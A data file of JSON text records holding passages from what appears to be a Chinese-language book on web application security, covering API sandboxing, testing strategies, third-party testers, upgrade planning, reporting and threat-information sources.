    {"text": "通过控制资源使用而降低成本 受控制的第三方 API 访问 用更好的控制来使测试和开发环境获得提升 缩短推向市场的时间 为测试模拟错误场景 受监控的 API 性能 公司也会使用虚拟环境来达到其他目的，而不只是使 API 变安全。 与沙盒一样，一个虚拟环境会通过控制资源的使用来降低成本，控制对第三方 API 的访问，以及改善测试和开发的环境。"},
    {"text": "缩短 API 崩溃之后的恢复时间 增强速度和网络带宽控制 改进能源的使用 减少硬件的占用空间 更快的物资供应 减少供应商锁定的情况 增加正常运行时间（即使在安全性和可靠性事件很少时） 延长应用程序的生命 如果使用沙盒和使用虚拟环境时 API 都能很好地工作，那么究竟是选择使用沙盒还是使用虚拟环境，最终可能会归结为它们所能提供的额外功能。"},
    {"text": "由于 API 的使用方式，你只能在每个人都开始抱怨应用程序无法工作或你在不希望的地方发现机密数据（假设其他人没有首先发现）时，才会发现出了问题。"},
    {"text": "验证正确的输入会产生正确的响应 运用范围检查来确保 API 能正确地响应边界外的数据 输入错误类型的数据来确保 API 能根据类型净化数据 专门输入黑客可能使用的非法数据，比如脚本、标签或二进制数据 删减必需的数据 加入额外的数据 制造 null 值的输入 使 API 超负荷 使 API 得不到资源 10.2.2 实现快速开发 把 API 直接放在服务器上意味着你提供了 API 的一份副本给每个人使用。"},
    {"text": "总之，在搭建一个测试环境时不要总想着用新的硬件，有时候在进行设备升级之后，旧的硬件也能工作得很好，并且你手边可能就有很多这样的资源。"},
    {"text": "图 10-2：当你需要 SAP 支持时可以使用 mockable.io 等 mock 在这个例子中，一旦你选择了想要创建的 mock 类型，就填写表单去执行真正的测试过程。"},
    {"text": "图 10-3：某些 mock 对测试界面提供了大量的控制 更高级的 mock，比如 Apiary（ https://apiary.io/ ），会提供许多服务来使 mocking 的过程更加简单。"},
    {"text": "图 10-4 展示了 API 虚拟化层的样子。 图 10-4：API 虚拟化层使应用程序与 API 相分离 使用 API 虚拟化可以使你的应用程序经受住各种失败。 API 虚拟化层可以让应用程序即使在 API 不能正常工作时继续运行。"},
    {"text": "例如，SmartBear 提供了两款产品：VirtServer 和 Ready API!（ https://smartbear.com/product/ready-api/overview/ ），可以创建一个两层方法来使用 API。 （请参阅 http://smartbear.com/product/ready-api/servicev/features/share-virtual-services/ ，获取更多细节。"},
    {"text": "尽管你可能在过去看得了一些承诺，但没有任何方法可以让软件伸缩到某个点从而使其可以承受无限的负载（假设有可能可以进行这样的测试）。"},
    {"text": "API 每秒接收的平均请求数 API 每秒接收到的请求峰值 端点（发起调用 API 的地点）的吞吐量分布 用户或工作组的吞吐量分布 确定如何创建测试 API 的连接也是很重要的。"},
    {"text": "制造重复性负载（测试软件顺序使用相同的请求） 模拟的流量模式（一个随机版本的重复性负载或一段 API 访问日志数据的重播） 真实的流量（你有一个测试组用真实的请求访问 API） 在建立起能在标准条件下运行的 API 之后，你需要改变这些条件来模拟黑客的攻击。"},
    {"text": "例如，黑客会用特定的请求大量攻击 API，希望使其以某种方式失败。 黑客还会在一次 DDoS 攻击中持续增加越来越多的僵尸请求，从而能很简单地让 API 到达被破坏的边缘。"},
    {"text": "很重要的是要确定什么会破坏 API 并导致其失败，然后看看 API 会如何失败。 知道 API 会如何失败将有助于你确定风险级别，这些风险每个黑客都会感兴趣，这样你就能更好地为后果做准备。"},
    {"text": "关键是要创建使 API 的功能保持可靠的 API 沙盒。 创建一个平稳的 API 沙盒是很难的，这需要对 API 如何与应用程序一起工作来执行特定任务有深度的理解。"},
    {"text": "现在，一个应用程序控制了对系统资源的访问，包括内存和处理时间。 应用程序必须与在同一系统中运行的其他应用程序共享资源，所以操作系统控制着对资源的访问。"},
    {"text": "一旦你有开发一个 API 沙盒的良好理由，就应该开发一个沙盒用于你的应用程序。 事实上，对于应用程序中的每个 API，你都需要一个独立的沙盒。 某些应用程序使用了相当多的沙盒，而这可让一个 API 不被另一个 API 产生的问题所污染。"},
    {"text": "在某些情况下，你可能不得不在构建应用程序的方式上变得有创造力，使得 API 可以持续正常运行，但使 API 保持在完全隔离和受控的环境中是一个很好的想法。"},
    {"text": "卡耐基 · 梅隆针对迷你计算机的多处理器操作系统有一个沙盒功能，在其中开发人员能够以相对安全的方式试验人工智能（AI）应用（ http://research.microsoft.com/en-us/um/people/gbell/Computer_Structures_Principles_and_Examples/csp0366.htm ）。"},
    {"text": "例如， Sun 公司提出了动态系统域（Dynamic System Domains， http://www.filibeto.org/~aduritz/truetrue/e10000/dynamic-sysdomains.html ）的概念来提供错误保护和应用隔离（包含在其他目标之中）。"},
    {"text": "Google 的 Chrome 浏览器（ https://tools.google.com/dlpage/res/chrome/en-GB/more/security.html ）、 Microsoft 的 IE（ http://securityintelligence.com/internet-explorer-ie-10-enhanced-protected-mode-epm-sandbox-research/ ）以及 Apple 的 Safari（ http://www.cnet.com/news/safari-matches-rivals-with-sandboxed-flash-for-better-security/ ）都有沙盒。 唯一没有沙盒的浏览器是 Mozilla 的 Firefox（ http://www.extremetech.com/computing/178587-firefox-is-still-the-least-secure-web-browser-falls-to-four-zero-day-exploits-at-pwn2own ）。"},
    {"text": "图 10-6：大部分供应商会要求某些访问控制以使用他们的沙盒 当你在应用程序中需要使用多个 API 时会有些问题，每个 API 都要有自己的沙盒环境。"},
    {"text": "使用 API 集成超出了本书的范围，但你可以在“Api Aggregation: Why It Matters and Eight Different Models”（ http://www.programmableweb.com/news/api-aggregation-why-it-matters-and-eight-different-models/2013/12/13 ）和“Extending REST APIs with API Aggregator”（ http://tech.3scale.net/2013/04/18/accelerate-your-mobile-api-with-nginx-and-lua/ ）这两篇文章中找到很多有用的相关信息。"},
    {"text": "发现安全问题实际意味着你要用在标准的操作系统中永远不会使用的方式去体验软件（特别是没有人会连接到你所使用的网络，这样你的错误就不会影响到任何人）。"},
    {"text": "可以创建带有特定操作系统、开发工具、应用搭建和浏览器的虚拟环境。 虚拟环境可以模拟开发过程中的每个部分，这样你就能在一个虚拟环境中安装 Apache 服务器而在另一个环境中安装 IIS 服务器。"},
    {"text": "只要接收到虚拟环境文件的开发人员有正确的软件，就可以精确地重建开发项目所需的虚拟环境。 可恢复 虚拟开发环境依赖一种特殊的文件，它定义了如何创建所需的仿真环境。"},
    {"text": "这个产品可以在任何 Windows、OS X 或常用的 Linux 系统（有很多版本的 Linux 不能使用 Vagrant，所以一定要检查列表以确定 Vagrant 支持你的 Linux 发行版）上运行。"},
    {"text": "另一个有用的虚拟环境产品是 Puppet（ https://puppetlabs.com/ ）。 这个产品依赖 VMware（ http://www.vmware.com/ ），Puppet 负责执行管理任务。 Puppet 与 VMware 的结合能更好地适应企业环境，因为 VMware 有大量的工具可供你使用，并且它还能提供对大型业务的支持。"},
    {"text": "例如，Cameo（ http://www.cameyo.com/ ）可以将任何应用程序打包成单一的可执行文件（.exe 文件），然后你可以将它复制到任何的 Windows 计算机且不需要任何安装就能运行它。"},
    {"text": "与其他测试领域不同，特定语言的问题会围绕着安全进行测试，因为黑客常常寻找这些不同点来作为攻击方法，通过其可导致应用程序以特定方式崩溃或使应用程序出现逻辑错误，这样黑客就能利用其进行入侵。"},
    {"text": "简单来说，目的就是确定应用程序是否能满足公司要求的技术和业务需求。 而目标则是确定应用程序在某个业务环境中能够成功地执行一些任务。"},
    {"text": "采用代码检查有助于定位自动化方法可能遗漏的潜在编码问题。 事实上，应用程序很有可能带着严重的缺陷通过编译并执行，而代码检查可以发现这些缺陷。"},
    {"text": "为了知道测试过程的好坏，你设定的目的必须包含用于定义期望输出范围的方法，比如在给定的 99% 的时间内，应用程序计算出的结果都是正确的。"},
    {"text": "提升安全性会使得应用程序变慢，因为开发人员要加入更多的代码来进行安全检查。 增加代码会使应用程序运行得更慢。 类似地，可靠性会导致应用程序变慢，因为更多的检查同样会被添加进来。"},
    {"text": "安全检查会降低应用程序的可靠性，它会牺牲功能来降低风险，一个可靠的应用程序可以在各种给定的环境中提供所有期望的功能（它不会失败）。"},
    {"text": "随着潜在的应用程序问题变得已知，检查测试用例是很重要的，这样测试才可以继续推动应用程序变得更加坚固并找到更多 bug。 作为检查过程的一部分，你还应该执行试探性测试以定位没有人想到过的、没有用户遇到过的以及没有黑客利用过的潜在 bug。"},
    {"text": "使用各种测试人员 有些公司在发布、验收、集成和单元测试等不同的测试阶段会依赖不同的测试人员。 使用分级别的测试是有效的，但是在开发过程中聘用各种测试人员会得到更好的结果。"},
    {"text": "执行静态和动态测试 使用静态测试可以测出应用程序的深度并反映开发人员对问题领域和数据结构的理解。 使用动态测试可以测出应用程度的宽度并反映应用程序处理极端输入的能力。"},
    {"text": "避免没有错误的神话 不能因为一个应用程序在运行时没有检测到错误就认为其没有错误。 应用程序会有各种测试不到的错误，比如不能满足用户的需求。"},
    {"text": "WebInspect（ http://www8.hp.com/us/en/software-solutions/webinspect-dynamic-analysis-dast/ ） 一个动态应用安全测试（Dynamic Application Security Testing，DAST）工具，能自动查找常用的攻击行为。"},
    {"text": "AppScan（ http://www.ibm.com/developerworks/downloads/r/appscan/ ） 可以执行广泛的测试，包括 DAST、运行时分析以及对于应用程序及服务的静态污点分析。"},
    {"text": "Burp Proxy（ https://portswigger.net/burp/proxy.html ） 在你的系统上安装一个能拦截应用程序与其他端点通信的代理服务器，使得你可以分析应用程序的请求和响应。"},
    {"text": "但即使是像 jQuery 这样知名的产品，你也可以在诸如 http://www.cvedetails.com/vulnerabilitylist/vendor_id-6538/Jquery.html 这样的网站上找到它们的安全问题。"},
    {"text": "你需要查看诸如“如何安全并明智地使用 jQuery：一些关键问题”（ http://resources.infosecinstitute.com/safely-and-wisely-use-jquery/ ）这样的文章来发现稍后可能导致故障的问题。"},
    {"text": "但是，API 的错误输入可能来自一次拙劣的中间人攻击或其他形式的攻击。 错误的输入还可能来自系统上的其他源，它反映了某种类型的感染或其他问题。"},
    {"text": "此外，跟踪对预料之外的输入数据的响应是很重要的，特别是当你计划使用多个微服务来执行相同的任务时（替代方案可以对你选择的主微服务提供备份）。"},
    {"text": "function assert(condition, message) { if (!condition) { message = message || \"Assertion failed\"; if (typeof Error !== \"undefined\") { throw new Error(message); } else { throw message; } } } 在这个例子中，当一个参数的值或其他代码条件失败时，测试会抛出一个错误。"},
    {"text": "11.3 执行集成测试 一旦你测试了应用程序的各个元素，就可以开始将库、API 和微服务集成到应用程序中。 最简单、最完整、最不复杂的集成测试方法是采用分阶段的方法，库、API 和微服务以有序的方式小规模地添加进应用程序。"},
    {"text": "将应用程序从模拟的数据切换到真实数据时，每次只迁移一份可能一开始看起来是在浪费时间，但这个过程可以很快地定位错误，最终会节省大量的时间。"},
    {"text": "11.4 测试与语言相关的问题 某些测试套件存在的一个很大的漏洞是缺少对特定语言问题的测试。 这些测试可以找出特定的语言在处理特定请求时的缺陷。"},
    {"text": "使用针对安全的分析器，比如 VeraCode（ http://www.veracode.com/ ），能够帮你定位并修复一些 bug，这些 bug 可能会让黑客基于最近发现的安全漏洞来入侵系统。"},
    {"text": "有些公司使用 QUnit（ https://qunitjs.com/ ）来测试 JavaScript，因为这个供应商还提供了其他套件（比如 jQuery 和 jQuery UI）。 在某些情况下，公司会使用 RhinoUnit（ https://code.google.com/archive/p/rhinounit ）来进行基于 Ant 的 JavaScript 框架测试。"},
    {"text": "许多专业开发人员喜欢 Jasmine（ http://jasmine.github.io/ ）外加 Jasmine-species（ http://rudylattae.github.io/jasmine-species/ ），因为该测试套件是行为驱动的。"},
    {"text": "例如，对传输层安全（Transport Layer Security，TLS）协议的攻击，要依靠 Rivest Cipher 4（RC4）加密算法，这可能看起来更像是某人在尝试使系统瘫痪。"},
    {"text": "你可以在网页 http://www.computerworld.com/article/2948937/security/encryptedweb-and-wi-fi-atrisk-as-rc4-attacks-become-more-practical.html 上获取关于这种攻击的更多细节。"},
    {"text": "当然，在开始进行任何测试之前，你需要知道你是可以信任相关第三方的。 一旦测试开始，需要确保第三方能接收到来自你公司的适当的指令、有正确的监控级别并提供令人满意的输出。 第三方可能会执行类似你会执行的测试，而且你要明白第三方的水平高于你自己的公司，否则从一开始就没必要使用第三方测试。 你可能想要依靠，至少是部分依靠第三方测试的理由有很多。"},
    {"text": "虽然本书花了大量时间处理桌面端、浏览器和手机应用程序，但重要的是，要记住这里所描述的原则也能应用于其他类型的应用程序，它们中的一些几乎总是需要第三方测试。"},
    {"text": "例如，汽车制造厂商本可以通过聘请第三方来确保测试过程完整地测试了网络连接的各个方面，成功避免最近发生的许多联网汽车召回事件（请参阅 http://www.computerworld.com/article/2953832/mobile-security/senators-call-for-investigation-of-potential-safety-security-threats-from-connected-cars.html ）。"},
    {"text": "事实就是黑客知道如何入侵这些汽车，第三方测试人员也知道（请参阅 http://www.computerworld.com/article/2954668/telematics/hacker-shows-he-can-locate-unlock-and-remote-start-gm-vehicles.html ）。"},
    {"text": "第三方测试商还可以检查看起来怪异的攻击类型，这些攻击可能在未来变得非常普遍（请参阅 http://www.computerworld.com/article/2954582/security/researchers-develop-astonishing-webbased-attack-on-a-computers-dram.html ）。"},
    {"text": "虽然诸如 rowhammering 漏洞这样的技术在今天听起来很牵强，但可以肯定黑客明天就会利用它们，而一家熟练的第三方测试商可以确保你的软件不易遭受这种攻击。"},
    {"text": "这些测试人员每天都会执行测试，所以他们知道软件在使用某一具体的编程语言、操作系统、平台和解决特定用户需求时通常会出现的 bug 和问题。"},
    {"text": "为了使产品准时上市，需要在编码阶段就使用尽可能高效的技术，在尽可能接近生产环境的系统中进行测试，且将相关报告反馈给开发人员以便尽快定位和修复问题。"},
    {"text": "你可以在网页 http://www.softwaretestinghelp.com/types-of-software-testing/ 、 http://www.aptest.com/testtypes.html 和 http://www.testingexcellence.com/types-of-software-testingcomplete-list/ 上找到更长的测试类型清单。"},
    {"text": "美国软件测试资格委员会（American Software Testing Qualifications Board，ASTQB， http://www.astqb.org/ ）是查找第三方所需认证的一个好地方。 另一个可以查找的地方是国际软件认证委员会（International Software Certifications Board， http://www.softwarecertifications.org/ ）。"},
    {"text": "无论你选择哪个组织，都要确保你聘请的公司拥有具备适当认证的测试人员。 此外，你要得到书面的保证，只有经过认证的测试人员会在你的项目中工作（否则该公司可能会用不符合标准的人员顶替，这些人只是受经过认证的人员的监督）。"},
    {"text": "因此，第 9 章和第 10 章描述的目的是一个好的开端，但现在你必须增强它们，以确保第三方确切地明白他们需要做什么且知道如何响应报告信息的要求。"},
    {"text": "作为测试计划的一部分，你需要用第三方测试商的服务清单作为输入来列出要进行的测试。 换言之，测试计划应该清楚地声明测试过程中包含第三方测试商的哪些服务，这样一旦测试开始就不会有模糊地带存在。 确保你精确地理解要执行哪些测试以及为什么它们对于确保应用程序按预期工作是必需的。 第三方测试商必需能够清楚地表达测试和其他服务的需求。"},
    {"text": "第三方测试商通常会帮忙提供关于期望输出的额外信息，并且可能会提供额外的测试类型，这样你能验证应用程序对于最新的威胁是否是安全的。 你的员工不太可能知道所有潜在威胁，所以第三方测试商的一部分工作是确保你除了已知道的安全问题之外，还能够测试你所不知道的安全问题。"},
    {"text": "在许多情况下，第三方测试商可以改变报告来更好地应对你所在公司的测试类型。 此外，你可能需要特定格式的报告来满足监管或法律的要求，所以要确保第三方测试商了解这些需求并能提供所需格式的报告。"},
    {"text": "例如，如果应用程序是设计用来满足特定的健康需求的，而测试公司不够重视可访问性测试，那么应用程序可能会提供所有的东西，但最关键的可访问性却没有。"},
    {"text": "你可能会发现测试计划没有包含实际参与的每个领域（事后要让这些领域分解），或者没有考虑到以特定方式进行测试的逻辑。 测试计划可能没有充分定义所需的交流级别，或者你可能发现交流过程是闲谈式的，浪费时间。"},
    {"text": "但是，就算测试公司是完全值得信赖的，让测试人员在检查应用程序时使用与其他每个人相同的权限也是很重要的（在安全测试时一个特别重要的要素）。"},
    {"text": "能够每周看到进度的利益相关者会更乐于参与到项目中并提供更好的输入，这意味着在项目后期（无法添加功能的时候）被要求添加功能的问题会减少。"},
    {"text": "将周一作为展示报告的日子还能给开发、测试和其他团队时间去响应对于应用开发的建议或需求。 不同的团队有一周的时间来开发和更新应用程序版本，让利益相关者在周一大吃一惊，而不必在周日进行紧急修补。"},
    {"text": "为一个问题创建并执行可能有用的修复方案是根据测试建议采取行动的一部分。 把修复交给测试人员测试也是很重要的。 但是你可能要决定不立刻测试修复。 可能一个交互会使得在没有修复应用程序的其他问题之前难以或不可能测试当前的修复。"},
    {"text": "你今天提供的新的、令人兴奋的、闪闪发亮的代码会很快变成过时的、衰败的昨日代码，如果它足够有名，就会成为让人惊叹的“博物馆珍品”。"},
    {"text": "本书的这一部分会将维护软件的任务分解为三个不同的部分：确定何时更新软件（第 13 章），确定如何进行更新（第 14 章），以及使用报告来监控更新要求（第 15 章）。"},
    {"text": "提升可用性以减少用户出错的情况 修复编码错误 提升速度以防止用户做出意料之外的事情 修复功能性代码以减少潜在的漏洞 进行必要的修复以升级第三方库、API 和微服务 本章从多个层级来看待升级过程。"},
    {"text": "问题在于，你通常不知道第三方软件所需要的升级，不理解进行升级的要求，无法按具体的顺序进行升级，然后在实施升级计划时遭遇各种问题。"},
    {"text": "即使你在其他单元测试中测试了某个依赖项，也必须在当前的单元中测试它，因为当前的单元可能以不同的方式使用该依赖项或以不同的方式影响它。"},
    {"text": "13.1.1 寻找升级 由于用户投诉和系统中断而由支持人员收集的故障单通常会告诉你需要对你应用程序代码做什么样的升级。 如果故障单没能告诉你所需的所有信息，它们至少为你提供了足够的信息去进行必要的搜索，以准确发现你所需要的升级。"},
    {"text": "有些第三方提供了自动更新通知。 自动更新通知是一种确保你知道它们的方式，但你不能依赖它们。 通知会告诉你绝对可用的更新，但你还必须去积极检查你没有听说过的更新。"},
    {"text": "花时间检查升级会造成什么影响是值得的，这样你就能知道这个升级对你的应用程序的重要性。 与所有影响应用程序所使用功能的升级相比，对应用程序使用的功能没有任何影响的升级会显得没那么重要。 但是你仍然应该在某个时间点进行升级，即使确定对你的应用程序没有什么影响，因为升级常常有依赖性的交互，即使是供应商自身也可能不知道（或者是没有完全测试）。"},
    {"text": "当一个升级变得很关键时，它在你升级清单中的优先级就会提高。 计划升级周期的一部分就涉及给升级优先级赋值，这样公司就会首先进行最高优先级的升级。"},
    {"text": "但并不是所有的安全升级都代表着马上会面临风险，因为还没有已知的黑客利用这个缺陷发起攻击，或者攻击需要特定的条件，比如需要访问物理机器。"},
    {"text": "当对安全升级的需求进行优先级排序时，要考虑这个安全问题给应用程序带来的风险大小。 潜在的破坏 在升级清单中，对导致应用程序或数据损坏的问题进行修复的升级的优先级通常会比较高。"},
    {"text": "这些值有助于更容易地确定一个变更是否是关键的（因为它修复了一个安全漏洞），或只是为了方便（因为它做了用户认为比可用性更合适和完美的界面改变）。"},
    {"text": "13.1.4 检查升级的问题 任何时候你对现有产品进行升级，都可能会有兼容性或其他问题发生，而直到将升级迁移到生产环境之后你才会发现它们。"},
    {"text": "一个更好的方案是在测试阶段查找潜在的升级问题，这意味着要有大量的测试团队或依靠第三方测试商（详见第 12 章）。 但是，甚至在你进入测试阶段之前（在升级以任何方式被实施之前），也可以运用各种技巧来发现升级是否会制造问题。"},
    {"text": "当一个破坏性的变更出现在行业杂志上时，你可以确定供应商们正在修复这个问题，所以比起立即进行更新来说，更好的方式可能是等待修复发布。"},
    {"text": "开发功能子集的测试场景 如果你怀疑在代码中有破坏性的变更，但又无法找到关于它的明确的信息来源，那么可以尝试创建一个小型的聚焦于具体功能的应用程序。"},
    {"text": "在生产环境中通常会出现你在测试环境中无法发现的问题，所以阶段性的变更可以帮你快速定位新的问题，这样你就能在它们成为大问题之前解决它们。"},
    {"text": "任何代码的变更都可能引入 bug、破解代码的变化、界面的改变、设计策略的变化以及各种其他无法简单避免的问题，因为变更像一枚硬币，有一面是好的，而另一面是坏的。"},
    {"text": "） 某些时候，你需要确定你找到的问题是否会导致如此多的问题，是否值得花费时间去升级。 当你确定不值得花时间进行升级时，还必须考虑依赖的问题。"},
    {"text": "所以，这项工作的关键是要确保升级可以： 按期般工作 保持稳定 提供适当的安全性 提升可靠性 创建很棒的 UI 堵住任何安全漏洞 实施过程应该首先从清单中最高优先级的项目开始，而不是尝试一次实现所有项目。"},
    {"text": "安全性 你不能简单地假设你对代码做的修复真的会像预期那样工作。 有时候安全修复并不能真的修复问题。 你需要对未能确定是否真的堵住了安全漏洞的修复代码进行测试。 此外，你必须确保修复不会引入新的漏洞。 有些开发人员认为安全测试是查找代码中的漏洞。"},
    {"text": "你可能必须对测试框架和脚本进行更新，以确保你能为新特性提供测试功能并且移除对废弃特性的测试。 你要对测试框架和脚本所做的变更维持一份变更日志。"},
    {"text": "网络连接 入侵检测软件 入侵防御软件 DMZ 可靠性 所有硬件需要的固件更新 服务器设置 所有软件所需的更新 应用程序环境 第三方库、API 和微服务 应用程序 用户进程 数据库连通性 通过测试不太可能检查所有这些项。"},
    {"text": "例如，更新数据库使其包含一个字段，用于显示谁最后编辑了该记录，这就可以跟踪已经发生在系统中的错误或病毒感染的源头，从而提高安全性。"},
    {"text": "这个过程要包含用户测试者，他们会验证更新是否真的按要求进行，并确定更新没有导致明显的新的用户错误或其他潜在问题（比如使用户的操作减慢或使培训成本激增）。"},
    {"text": "自动更新是供应商以某种方式推送到客户端的更新。 在某些情况下，供应商简单地在服务器上变更软件，这样你最终会自动使用更新。 以下是供应商喜欢自动更新的主要理由。"},
    {"text": "减少由于使用过时版本产生的安全性和可靠性问题 减少支持成本 较少的人工需求 提升投资回报率（ROI） 当然，问题不在于自动更新是否对供应商有好处，而在于它们是否对你的公司有好处。"},
    {"text": "你开发的任何公开的应用程序，即使你是专为某一个团体的使用而开发的，也是处在互联网的世界舞台上，来自任何地方的任何人都能够访问它。"},
    {"text": "例如，你可能会惊讶地发现罗马尼亚有很多官方语言，如下所示。 罗马尼亚语 克罗地亚语 德语 匈牙利语 罗马尼语 俄语 塞尔维亚语 斯洛伐克语 乌克兰语 然而，这些只是官方语言。"},
    {"text": "在某些情况下，你可以根据应用程序的环境来假设要支持的语言。 例如，一个在美国的私有环境中运行的应用程序，可能只需要支持英语和西班牙语。 当应用程序在罗马尼亚运行时，你可能要支持所有的官方语言以确保每个人都能访问你的应用程序。 考虑应用程序环境是创建语言支持清单的一个重要部分。"},
    {"text": "创建一个支持语言的清单是很重要的，因为你需要知道哪些语言你真的可以作为更新的一部分提供，并且你要确保你的首要目标是那些最常用的语言。"},
    {"text": "下面是两种常见的为每种语言创建唯一 URL 的方法。 与语言相关的 URL 相同的域名支持不同的语言。 比如一个 http://www.mysite.com/en/stuff.html 这样的 URL 会支持英语，而 http://www.mysite.com/de/stuff.html 则会支持德语。"},
    {"text": "14.3.2 获得可靠的语言专家 如果你选择对应用程序进行语言相关的更新，只有当更新看起来就像是你用目标语言重写了原来的内容时，你才能保证它可以可靠和安全地工作。"},
    {"text": "但是当黑客刚刚让你的应用程序暴露了一些需要立即响应的可怕漏洞时，有时候更新无法等待，此时你必须创建一个临时的修复并立刻发布它，否则就要承担后果。"},
    {"text": "这个团队不需要一直都是相同的人员，因为每个人都需要休息，但你应该一直都有这么一个可用的紧急响应团队，特别是在那些黑客喜欢攻击的时间（比如周末）。"},
    {"text": "事后对紧急情况进行走查，确定是什么原因导致了它，并考虑快速响应团队是如何响应的是一个好的做法。 通过走查，你可以总结经验教训以便将来处理紧急情况。"},
    {"text": "为此，你必须执行以下这些级别的测试以确保更新不会弊大于利。 单元测试 集成测试 安全测试 当更新用于处理紧急情况时，这三个级别的测试通常可以防止更新弊大于利。"},
    {"text": "虽然似乎代码文件里的注释或在走廊里的简单讨论就足矣，但一个接收关于应用程序的信息的正式过程真的是确保每个人都能理解应用程序状态的唯一方式。"},
    {"text": "意料之外的值 如果报告包含的信息超出了预想的范围，你需要考虑为什么应用程序会生成这些信息。 意料之外的值可能来自一个 bug 或者是黑客刺探的结果。"},
    {"text": "15.1.2 安排时间为升级和更新做出报告 从安全和可靠性的角度来说，你需要良好的信息来针对无效的应用程序变更采取行动。 为了获得你需要的信息，要将报告时间安排在你对应用程序进行升级和更新的时候。"},
    {"text": "如果你能过滤个人收到的信息，使其更有针对性，就可以降低每个人承受的负载，同时也更可能以更快的速度定位应用程序升级或更新中的可靠性及安全问题。"},
    {"text": "生成的报告会提供一般性的信息，但有时候通过选择报告选项（如果有）可使其更加切合你的需求。 在许多情况下，供应商会提供定制报告的方法，这样它就能提供你确实需要的信息，而不是大量你不需要的信息。"},
    {"text": "15.1.4 使用定制的报告 供应商提供的关于产品的一般性报告是开始监控应用程序有无问题的好方式，但是针对你的特定需求，它们通常没有提供足够的信息。"},
    {"text": "有些监控产品提供了 API，让你访问他们创建的数据。 如果不管你用不用，监控产品都会创建数据，那使用监控软件（或其他应用程序）的数据而不是自己创建数据是值得的。"},
    {"text": "当基于第三方提供的数据来创建定制化报告时，还有其他一些问题需要考虑，如下所示。 第三方可能会更改输出，所以你的报告也要做相应的更改。"},
    {"text": "15.3 依靠外部生成的报告 跟你打交道的第三方可能需要向你提供一些报告，然后你才能确定你们之间的关系对你的公司、用户、数据和应用程序有何益处。"},
    {"text": "它应该告诉查看报告的人为什么第三方要执行这个服务以及执行该服务的结果（例如，测试应该详述测试何时成功或失败并提供查看每种结果的方法）。"},
    {"text": "在许多情况下，你没有资源去检查报告里包含的每一个事实，但你通常可以进行抽查以确保第三方没有生成一份包含着他们认为你想听到的信息的报告。"},
    {"text": "15.3.3 保持内部数据安全 第三方可能能够访问你公司的某些内部数据。 这些可能不是敏感数据，但你仍然要保护，因为你知道第三方可以访问它。 当与第三方打交道时，你要将他们能访问的所有数据看作敏感数据，遵循 15.2 节中提到的规则。"},
    {"text": "例如，评价表单会告诉你用户对应用程序的感受，但它不会告诉你用户实际上是如何与应用程序交互的，因为用户的反馈是带有偏见的（有关这个问题的更多细节，请参阅 15.4.2 节）。"},
    {"text": "给软件添加检查，记录用户与应用程序的交互行为。 监控用户与应用平台的交互，这样你就能更好地理解用户在应用环境中的情况。 跟踪用户在应用环境外部的访问，比如访问数据库、API 或微服务。"},
    {"text": "使用键盘记录器等产品而导致的隐私及信任丢失是你在使用这种产品之前需要仔细考虑的问题之一。 也要考虑到黑客通常会利用你使用的监控系统来入侵网络。"},
    {"text": "当要通过某个艰难的决定的时候，小组会议还能防止你看起来像个坏人，比如当要砍掉某个可能会带来安全风险又不会给用户带来价值的特性的时候。"},
    {"text": "用户反馈通常是有偏见的，但偏见有多大通常取决于用户对应用程序的感知价值以及决策过程背后的政策。 某些情况下，你需要在一定程度上忽视直接的用户反馈并尝试通过间接的方法（比如监控）获得反馈，以确定何时政策不再发挥作用，只有偏见存在。"},
    {"text": "你生成的报告不仅会告诉你关于应用程序、平台、第三方服务等方面的信息，还会告诉你关于公司状态的信息，并帮你更好地对收到的用户反馈作出决策。"},
    {"text": "16.1 发现安全威胁信息的来源 因为可用的安全信息太多，所以你需要从中挑选出能够以合适的形式提供材料、足够简洁并且不需要浪费太多时间的。"},
    {"text": "例如，Jeremy Kirk 最近写了一篇文章“Even encrypted medical record databases leak information”（ http://www.computerworld.com/article/2980593/data-privacy/even-encrypted-medical-record-databases-leak-information.html ）。"},
    {"text": "另一个这样的案例［文章“9 Baby Monitors Wide Open to Hacks That Expose Users' Most Private Moments”（ http://arstechnica.com/security/2015/09/9-baby-monitors-wide-open-to-hacks-that-expose-users-most-private-moments/ ）］与婴儿监控设备有关。"},
    {"text": "当然，你可能想要知道什么汽车或婴儿监控设备与 Web 应用程序有关。 事实上，现在有许多 Web 应用程序运行在汽车和婴儿监控设备中，执行提供娱乐、监控环境等各种任务。"},
    {"text": "图 16-1：选择正确的安全威胁信息源是很重要的 基于公司的网站 基于公司的网站常常会提供在某个领域最浓缩的信息，但缺乏其他类型的网站能支持的信息广度。"},
    {"text": "如美国计算机应急准备小组（United States Computer Emergency Readiness Team，US-CERT， https://www.us-cert.gov/ ）和国家漏洞数据库（National Vulnerability Database， https://nvd.nist.gov/ ）等网站会提供大量有用的免费提示信息和出版物。"},
    {"text": "如 Symantec Security Response（ https://www.symantec.com/security_response/ ）等网站可以快速地确定当前在互联网上的威胁的级别以及哪些威胁最有可能给大部分人造成问题。"},
    {"text": "有时候你确实需要一款第三方的产品去解决问题，但是仔细的研究、对细节的关注、合理的系统配置以及一两次更新常常会比购买一个产品更能解决威胁问题。"},
    {"text": "例如，Security Focus（ http://www.securityfocus.com/ ）、Open Source Vulnerability Database（OSVDB， http://www.osvdb.org/ ）和 Common Vulnerabilities and Exposures（CVE， https://cve.mitre.org/ ）会提供能在其他网站上找到的信息的索引。"},
    {"text": "(1) 仔细选择安全信息源。 确保选择的安全信息源是与公司需求相关的，能够以简单的方式展现你所需要的信息，并且能够恰当提供你需要的细节，而不会有过度的情况。"},
    {"text": "但是，当你开始深入了解时，会发现这是一个有趣的攻击行为，但它需要某种类型的系统访问权限，而黑客在面对 Web 应用程序时通常没有这种权限。"},
    {"text": "16.3 为基于威胁的升级制订计划 当你以足够快的速度收到关于某个潜在威胁的信息，而修复这个问题需要改动的代码量很大时，可能需要升级应用程序。"},
    {"text": "确定你是否使用了被描述为引起安全威胁的技术。 考虑一下引起威胁所需的一些访问是否真的发生在你的公司身上。 明确在哪种环境下你的公司会遭受攻击以及攻击何时可能发生。"},
    {"text": "升级一般预示着某些重大的代码变动，而更新可能完全没有代码变更，但可能会反映 UI 的改变或其他一些无需修改底层代码就能快速更改的元素。"},
    {"text": "(1) 以更新的形式处理安全威胁聚焦的问题。 (2) 升级或更新正在支持的软件（比如防火墙或操作系统）以确保安全威胁不能从另外的方向发起攻击。"},
    {"text": "(4) 修改目标代码周边的所有代码，确保应用程序在发布更新之后能按升级设计的那样正常工作。 (5) 执行所有依赖项的升级，确保整个应用程序稳定。"},
